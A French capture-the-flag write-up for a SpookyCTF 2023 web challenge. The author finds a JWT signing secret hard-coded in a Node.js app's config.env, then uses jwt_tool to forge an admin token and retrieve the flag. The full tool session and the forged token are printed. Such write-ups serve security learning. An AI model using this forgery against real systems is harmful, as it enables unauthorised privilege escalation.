SpookyCTF2023 - Jasons Baking Services

Introduction

Le 28/10/2023 j’ai pu participer au SpookyCTF2023 avec mon équipe Pand’hack. Nous avons fini 38ème sur 372 équipes avec 5557 points. Je vais vous présenter la solution au challenge Jasons Baking Services dans la catégorie Web.

Description du challenge

Voici l’énoncé du challenge :

Analyse

Nous avons accès aux sources de l’appli web (nodejs) :

1
2
3
4
5
6
7
8
drwxrwxrwx 1 neaje neaje  4096 Oct 29 16:45 assets
-rwxrwxrwx 1 neaje neaje 145 Oct 29 16:45 config.env
-rwxrwxrwx 1 neaje neaje 116 Oct 29 16:45 make_user.js
-rwxrwxrwx 1 neaje neaje 676 Oct 29 16:45 package.json
-rwxrwxrwx 1 neaje neaje 82741 Oct 29 16:45 package-lock.json
drwxrwxrwx 1 neaje neaje 4096 Oct 29 16:45 server
-rwxrwxrwx 1 neaje neaje 1479 Oct 29 16:45 server.js
drwxrwxrwx 1 neaje neaje 4096 Oct 29 16:45 views

En allant sur le lien du challenge nous arrivons directement sur une page de login :

Je cherche donc dans les sources la fonction de login.
Dans le server.js nous pouvons voir qu’il n’y a aucune route de définie et que toutes les routes sont dans server/routes/router :

1
app.use('/', require('./server/routes/router'))

Je me rends donc sur le fichier route.js :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const controller = require('../controller/controller');
require('dotenv').config()

route.use(cookieParser())

route.get('/', services.homeRoute)
route.post('/', controller.login)


route.get('/register', services.registerRoute)
route.post('/register', controller.register)

route.get('/logout', controller.logout);

route.get('/dashboard', authenticateJson , services.dashBoardRoute), (req, res) =>{
next(user)
}

route.get('/flag', authenticateJson, (req, res) => {
if (!req.user) {
res.render('index')
} else {
if (req.user.admin == true) {
res.send("// Print Flag Here")
} else {
res.render('dashboard', {name: req.user.name})
}
}
})

Je remarque pour accéder au flag, il faut valider cette condition : if (req.user.admin == true) {.

Je continue mon analyse et je me rends sur le fichier controller/controller.js qui gère l’authentification.
Je remarque que je peux me register sans aucun souci et je remarque également qu’une fois connecté, je reçois un JWT :

1
const accessToken = generateAccessToken(user)

La fonction generateAccessToken est définie un peu plus bas dans le fichier controller.js :

1
2
3
function generateAccessToken(user) {
return jwt.sign(user, process.env.SECRET)
}

Le JWT est singé avec une clé secrète récupérée en variable d’environnement :

1
require('dotenv').config()

Je retourne sur le fichier server.js pour retrouver la définition de cette variable d’environnement :

1
dotenv.config({ path: 'config.env' })

Dans le fichier config.env nous avons bien la clé secrète qui signe le JWT :

1
SECRET=y5ABWPpr76vyLjWxZQZvxpFZuprCwAZa6HhWaaDgS7WBEbzWWceuAe45htGLa

J’ai donc toutes les informations pour exploit ce challenge.

Exploit

Register

Je commence par me créer un utilisateur et récupérer le JWT de celui-ci :

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoibmVhamUiLCJhdXRob3JpemVkIjp0cnVlLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTY5ODU5Nzg3OSwiZXhwIjoxNjk4NTk4MTc5fQ.-MPgTLYEXqCrasltxpF16ahBKo_yWTAaCutP-m4IC0E

Tamper du JWT

Ensuite je tamper mon JWT avec jwt_tools :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
python3.11 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoibmVhamUiLCJhdXRob3JpemVkIjp0cnVlLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTY5ODU5Nzg3OSwiZXhwIjoxNjk4NTk4MTc5fQ.-MPgTLYEXqCrasltxpF16ahBKo_yWTAaCutP-m4IC0E -T -S hs256 -p y5ABWPpr76vyLjWxZQZvxpFZuprCwAZa6HhWaaDgS7WBEbzWWceuAe45htGLa    

Original JWT:


====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================

Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] name = "neaje"
[2] authorized = True
[3] admin = False
[4] iat = 1698597879 ==> TIMESTAMP = 2023-10-29 17:44:39 (UTC)
[5] exp = 1698598179 ==> TIMESTAMP = 2023-10-29 17:49:39 (UTC)
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 1

Current value of name is: neaje
Please enter new value and hit ENTER
> admin
[1] name = "admin"
[2] authorized = True
[3] admin = False
[4] iat = 1698597879 ==> TIMESTAMP = 2023-10-29 17:44:39 (UTC)
[5] exp = 1698598179 ==> TIMESTAMP = 2023-10-29 17:49:39 (UTC)
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 3

Current value of admin is: False
Please enter new value and hit ENTER
> True
[1] name = "admin"
[2] authorized = True
[3] admin = True
[4] iat = 1698597879 ==> TIMESTAMP = 2023-10-29 17:44:39 (UTC)
[5] exp = 1698598179 ==> TIMESTAMP = 2023-10-29 17:49:39 (UTC)
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
jwttool_6670be62d1f3d139eb86a85d6dcab489 - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJhdXRob3JpemVkIjp0cnVlLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjk4NTk3ODc5LCJleHAiOjE2OTg1OTgxNzl9.PJLT-Qa8cBW4XyIXV2UqD06JyBybb-6bKEae1ZQaH9w

J’insère ensuite le nouveau JWT dans mes cookies et j’accède à /flag
NICC{jWoT_tOkeNs_nEed_saf3_secr3ts}


SpookyCTF2023 - Jasons Baking Services
http://example.com/2023/10/29/SpookyCTF2023/
Author
Neaje
Posted on
October 29, 2023
Licensed under